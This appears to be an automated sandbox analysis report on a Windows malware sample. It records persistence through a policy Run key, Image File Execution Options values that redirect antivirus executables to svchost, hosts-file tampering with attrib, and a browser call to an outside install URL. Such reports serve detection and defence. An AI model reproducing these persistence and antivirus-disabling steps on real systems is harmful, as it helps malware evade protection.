Analysis
- max time kernel
165s - max time network
173s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system - submitted
29/12/2023, 19:29
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
01bfebc3f660c903173996fc72dc6aab.exe
Resource
win7-20231215-en
windows7-x64
12 signatures
150 seconds
Behavioral task
behavioral2
Sample
01bfebc3f660c903173996fc72dc6aab.exe
Resource
win10v2004-20231215-en
windows10-2004-x64
13 signatures
150 seconds
General
- Target 01bfebc3f660c903173996fc72dc6aab.exe
- Size 46KB
- Sample231229-x7f6esefb8
- SHA256 2e77fa98a7162100e1413a3f3073eeed00e6d80c5eb7f0547ea198d62517a378
- MD5 01bfebc3f660c903173996fc72dc6aab
- SHA1 60c0fd8071a3c7802c42d287ab6d5c14ab117415
- SHA512 66b4495741b77aefe7a30b700fe39e93cbcdd05268243ae905bd465c5d50aed28b87830059a1d1f6d268e61491349b28afd0baf40e7f4001b2445296621cff65
- SSDEEP 768:eIMVvp3w/WtOI0qSazGmPm3xFc0hzdugll+1lBshhe2gIPvhx+za0cp/KxkKtjrO:eIMVvp3w/zdqnyEm3geZl+1+lvhx+zaX
- MD5 SHA1 SHA512 SSDEEP
Score
8/10
Malware Config
Signatures
- Adds policy Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run 01bfebc3f660c903173996fc72dc6aab.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\qq = "C:\\Users\\Admin\\AppData\\Local\\Temp\\01bfebc3f660c903173996fc72dc6aab.exe" 01bfebc3f660c903173996fc72dc6aab.exe - Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts 01bfebc3f660c903173996fc72dc6aab.exe - Sets file execution options in registry 2 TTPs 12 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360rpt.exe 01bfebc3f660c903173996fc72dc6aab.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360rpt.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" 01bfebc3f660c903173996fc72dc6aab.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360Safe.exe 01bfebc3f660c903173996fc72dc6aab.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQDoctor.exe 01bfebc3f660c903173996fc72dc6aab.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DrRtp.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" 01bfebc3f660c903173996fc72dc6aab.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360Safe.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" 01bfebc3f660c903173996fc72dc6aab.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360tray.exe 01bfebc3f660c903173996fc72dc6aab.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360tray.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" 01bfebc3f660c903173996fc72dc6aab.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQDoctor.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" 01bfebc3f660c903173996fc72dc6aab.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RStray.exe 01bfebc3f660c903173996fc72dc6aab.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RStray.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" 01bfebc3f660c903173996fc72dc6aab.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DrRtp.exe 01bfebc3f660c903173996fc72dc6aab.exe - Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
pid Process 3568 attrib.exe - Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\win.ini 01bfebc3f660c903173996fc72dc6aab.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Software\Microsoft\Internet Explorer\VersionManager iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\"" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\SOFTWARE\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "492740344" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000005f2859d464fb564ea9e97dd009a434cc000000000200000000001066000000010000200000003d2144225461eca403ffd3d8e72025757d8948a6d473a1b3388dcf0c3c67f06f000000000e8000000002000020000000fbe4b77b6cfd5e8f797c9bcac15fdd1be336e0f5e370493103084c7b14d7742720000000b8f2fe75b661daf9ac9b6955e72973733eddda2b410416ed198fa488115a7e90400000002e8b4ebc85b7dd0cb93b8c988d1af3d9c66983d5670f5eb4739cd805429eb3fdfd79df259b5f3d5d49765f2c3a7e030d7c362f067fb016184fedba89a0ea9cad iexplore.exe Key created \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{4ECE34E5-A689-11EE-BCD9-DE9D3A49EF0E} = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "492740344" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31079062" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Software\Microsoft\Internet Explorer\MINIE iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Software\Microsoft\Internet Explorer\GPU IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31079062" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = b088c725963ada01 iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000005f2859d464fb564ea9e97dd009a434cc00000000020000000000106600000001000020000000ce0333cfdc0f864b9e54c3fcfdd27cf9dc92e63194153b938f85bffd3f6612ff000000000e800000000200002000000086fcfbcc852c6991b4dffe6a71364f8450fd38ea5d341e3f767661638b00223420000000ae7d08f245ac725ac97074209302ae830805598c1f86e7abe7bc250476f3c81640000000616041bc20cde66a94e1663c178ed779e6a53b51f94052759b157ad3c4a4c3064f01f5de776173e890d7d4b24f9bcc19318589ccf027df13f0041ac0821a768c iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 10c0d624963ada01 iexplore.exe - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: 33 2636 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 2636 AUDIODG.EXE - Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 1004 iexplore.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe - Suspicious use of SendNotifyMessage 64 IoCs
pid Process 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe 2992 01bfebc3f660c903173996fc72dc6aab.exe - Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 1004 iexplore.exe 1004 iexplore.exe 5104 IEXPLORE.EXE 5104 IEXPLORE.EXE 5104 IEXPLORE.EXE 5104 IEXPLORE.EXE - Suspicious use of WriteProcessMemory 13 IoCs
description pid Process procid_target PID 2992 wrote to memory of 4804 2992 01bfebc3f660c903173996fc72dc6aab.exe 91 PID 2992 wrote to memory of 4804 2992 01bfebc3f660c903173996fc72dc6aab.exe 91 PID 2992 wrote to memory of 4804 2992 01bfebc3f660c903173996fc72dc6aab.exe 91 PID 2992 wrote to memory of 3568 2992 01bfebc3f660c903173996fc72dc6aab.exe 94 PID 2992 wrote to memory of 3568 2992 01bfebc3f660c903173996fc72dc6aab.exe 94 PID 2992 wrote to memory of 3568 2992 01bfebc3f660c903173996fc72dc6aab.exe 94 PID 2992 wrote to memory of 1004 2992 01bfebc3f660c903173996fc72dc6aab.exe 104 PID 2992 wrote to memory of 1004 2992 01bfebc3f660c903173996fc72dc6aab.exe 104 PID 1004 wrote to memory of 5104 1004 iexplore.exe 108 PID 1004 wrote to memory of 5104 1004 iexplore.exe 108 PID 1004 wrote to memory of 5104 1004 iexplore.exe 108 PID 2992 wrote to memory of 3428 2992 01bfebc3f660c903173996fc72dc6aab.exe 48 PID 2992 wrote to memory of 3428 2992 01bfebc3f660c903173996fc72dc6aab.exe 48 - Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 4804 attrib.exe 3568 attrib.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3428
-
C:\Users\Admin\AppData\Local\Temp\01bfebc3f660c903173996fc72dc6aab.exe"C:\Users\Admin\AppData\Local\Temp\01bfebc3f660c903173996fc72dc6aab.exe"2⤵
- Adds policy Run key to start application
- Drops file in Drivers directory
- Sets file execution options in registry
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2992 -
C:\Windows\SysWOW64\attrib.exeattrib -s -h "C:\Windows\system32\drivers\etc\hosts"3⤵
- Views/modifies file attributes
PID:4804
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\Windows\system32\drivers\etc\hosts"3⤵
- Sets file to hidden
- Views/modifies file attributes
PID:3568
-
-
C:\program files\internet explorer\iexplore.exe"C:\program files\internet explorer\iexplore.exe" "http://360cctt.cn/install.asp?ver=081211&tgid=qq18&address=DE-9D-3A-49-EF-0E®k=1&flag=7518cd6a2f6a92c711347ee53c52d414&frandom=6382"3⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1004 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1004 CREDAT:17410 /prefetch:24⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:5104
-
-
-
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x300 0x32c1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2636
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\~DF7AF7CC7EDFC9E6CF.TMP
- Size 16KB
- SHA256 5c96afb49401c65b38a3ed49a3d6bbab869bda7e36b9075734f959511fc55536
- MD5 7f2dc142e3fafd4257dff9c4d3f3d07e
- SHA1 6e6b22134345969a326d41a75bf6df0b5f2e2c05
- SHA512 6e3aef4b830a912ab961156cd56519120a94e88b0f6fbd21abfc33401afec9d7ac1f5177fd05a735c6b4e3cebb07b4dbf1c0c79521152587dba1d58d6fbfa480
- SSDEEP 3:S/PrNRQorCWrFzX5lclllv/nt+lybltll1lRslkhlEkllSHr1WL5Wrll/l:S/TDLpFzX7UFAlkxqL1Wa//
- MD5 SHA1 SHA512 SSDEEP